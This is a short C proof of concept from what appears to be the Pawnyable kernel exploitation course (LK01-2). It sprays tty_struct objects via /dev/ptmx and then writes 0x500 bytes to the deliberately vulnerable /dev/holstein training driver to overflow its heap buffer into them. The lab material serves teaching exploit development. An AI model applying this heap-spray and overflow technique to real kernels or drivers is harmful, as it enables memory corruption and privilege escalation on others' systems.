Pawnyable LK01-2

heap_overflow_demo.c

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    int spray[100];
    for (int i = 0; i < 50; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    int fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    for (int i = 50; i < 100; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    char buf[0x500];
    memset(buf, 'A', 0x500);
    write(fd, buf, 0x500);

    getchar();
    close(fd);
    for (int i = 0; i < 100; i++) {
        close(spray[i]);
    }

    return 0;
}